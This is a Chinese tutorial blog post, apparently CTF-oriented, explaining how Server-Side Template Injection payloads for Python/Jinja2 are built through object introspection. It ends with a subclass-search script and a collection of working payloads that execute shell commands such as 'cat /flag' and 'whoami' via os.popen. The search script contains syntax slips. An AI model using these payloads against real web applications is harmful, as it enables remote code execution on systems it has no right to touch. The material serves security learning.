SSTI的payload构造思路

内置的方法和属性

有些对象类型内置了一些可读属性,它们不会被dir()列举出来。

属性/方法描述
instance._class_类实例所属的类
class._bases_类对象(类也是对象)的基类元组
definition._name_类、函数、方法、描述符或生成器实例的名称。
class._mro_此属性是在方法解析期间查找基类时考虑的类元组。
class._subclasses_()每个类都保留一个对其直接子类的弱引用列表。此方法返回所有仍然存活的引用的列表。该列表按定义顺序排列。
module._dict_包含模块的符号表的字典,包括标识符名称和它的引用
_builtins_一般被模块作为全局变量提供,它的值或者是builtins模块的引用,或者是则这个模块的__dict__属性。如果是builtins模块,该模块提供Python的所有“内置”标识符的直接访问,例如open函数builtins.open()。这个变量在定义与内置函数同名的模块有用处,可以通过它访问内置的同名函数。另外,还可以通过它修改某些标识符的作用。

判断一个模块是否有_builtins_:__builtins__变量是对builtins模块的引用,在sys模块导入了builtins模块的,sys模块是由Python/sysmodule.c编译的,也就是说当一个模块直接或间接(导入的模块里面)导入了sys模块。sys模块是由c程序编译的,但它没有__builtins__变量。

__builtins__的值是当前模块引用的builtins模块:

>>> __builtins__
<module 'builtins' (built-in)>

module.__builtins__的值是指定模块的所有标识符的字典,与__dict__相比,除了变量,还多出了其它标识符,例如:

>>> os.__builtins__['TimeoutError']
<class 'TimeoutError'>
属性/方法描述
_import_()内置函数,它在importlib包下的_bootstrap模块下定义的__import__()方法的实现,在程序运行开始时,这个包就被导入,所以这个方法也被导入当成内置函数。
method._globals_在指定的方法处的全局命名空间(等同于dir(), globals())。method不能是内置的方法名,而是自己定义或者重写的,重写的__init__也算
object._new_(cls[…])对象的内置方法,创建新实例时自动调用,用以定制实例的创建过程。传入对象所属的类,其余参数是构造器的参数相同,这个方法返回一个实例,只有这个方法返回实例,对象内置的_init_()才会被调用。
object._init_(self[…])对象的内置方法,_new_()之后,给调用者返回实例之前调用。如果基类有自定义的__init__(),那么添加super().__init__([…]),对基类部分进行初始化。这个方法返回的值只能是None,否则会引发TypeError。

Python本质上是动态的,而不是静态的。虚拟机具有变量的可寻址命名空间,而不是编译后的对象代码中的符号表。

dir()/dir(module):返回在该点的有效命名空间,返回一个字典,每个键值对对应一个变量和它的值,

globals():返回变量名和它的变量值的字典,这些变量在作用域中是视为全局的。

locals():返回变量名和它的变量值的字典,这些变量在作用域中是视为局部的。

原理

SSTI的原理是服务器端接收了用户可控的数据,将其作为参数值传入模板引擎,如果这些数据是python代码的字符串,就会被当成代码来执行。

模板引擎解析的文本类似于这样的:

<h1>{{ 4*2 }}</h1>

{{ }}是模板表达式,它将执行里面的表达式内容,并输出。所以上面的结果为:

<h1>8</h1>

如果我们可以在文本传入给模板引擎解析之前,对文本进行修改,那么在它里面增加模板表达式等其它能执行python代码的模板语法,就会造成代码注入。例如

text =  "<h1>%s<>" % input
render_template_string(text)

input可控,注入模板表达式,并在里面增加代码:

input = "{{ 7*2 }}"

text变成:

text = "<h1>{{ 7*2 }}</h1>"

然后再传入模板引擎解析:

render_template_string(text)

如何利用

首先构造一个能执行函数的payload,这里的函数可以是任何自己想要的功能,比如想执行系统命令,可以调用popen(),subprocess()等等;想读取文件,可以调用open()函数。

(1)不管最终想执行什么函数,payload前面的一部分一般都是想拿到基类object的所有子类:

''.__class__.__base__.__subclasses__()

解释:

''是一个对象,__class__是这个对象所属的类,__base__是指定类的基类(父类),__subclasses__()Object类的静态方法,返回它的所有子类,包含在一个字典中,键是类名,值是类的引用。

(2)现在我们拿到了所有继承Object类的子类的引用,在调用这些子类的方法时,如果命名空间没有这个类,解析器就会尝试导入包含这个类的模块,例如有个子类叫os._AddedDllDirectory

>>> ''.__class__.__base__.__subclasses__()[139]
<class 'os._AddedDllDirectory>

os就是它的模块名,解析器就会尝试去加载并执行os模块的代码,但不会把os这个变量放进命名空间中(说到底,import os的os变量保存是模块的地址,换句话说,命名空间保存的是存储地址的变量,这个地址有可能指向一个值,一个类,一个函数,或者一个模块,总之是一块代码的首地址)。

(3)在解析器加载并执行某个模块的代码时,例如os模块的代码,里面又导入了其它的模块(import sys),这些模块与os定义了一些变量,函数和类,解析器把它们添加到当前的命名空间,接下来通过__globals__获得当前的命名空间,不过它需要一个方法作为调用者,这里我们选一些魔术方法,因为它们的方法名固定,例如__init____enter____exit__等等。

再补充payload:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__

(4)因为os模块的执行,导致sys模块的导入(import sys),也就是说当前的命名空间有了sys这个变量,它保存了sys模块的地址,通过这个变量可以调用它里面(与变量绑定在一起)的方法、类等成员,sys模块里面有个modules字典,它保存的是已加载模块**(已加载但未必在命名空间有对应的变量)**的名称与其地址的映射。

还可以通过给 sys.modules 这个字典加入元素,以强制加载某个模块。

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os']

(5)拿到os模块的地址后,就可以使用里面的方法了,其中有个popen方法就是想利用的方法,通过它执行shell命令:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
>>> ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
<os._wrap_close object at 0x000001E29281A580>

(6)popen()返回一个输出流,通过read()读取里面的数据:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls').read()

总结利用思路

(1)明确要利用的目标函数;

(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。

(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。

(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)

(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)

(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

一般来说,可以利用的函数有:open(), popen(), subprocess(), system()

总之,构造payload的思路是曲折的,能利用的属性、变量、函数、类等成员很多,调用过程曲折,自由发挥的空间比较大。

附带脚本

# 用于搜索想利用的目标函数所在的类
search = 'popen'
num = -1
for c in ''.__class__.__base__.__subclasses__()
	num += 1
    try:
        if search in c.__init__.globals__.keys():
            print(c, num)
    except:
        pass

payload的收集

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}
  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值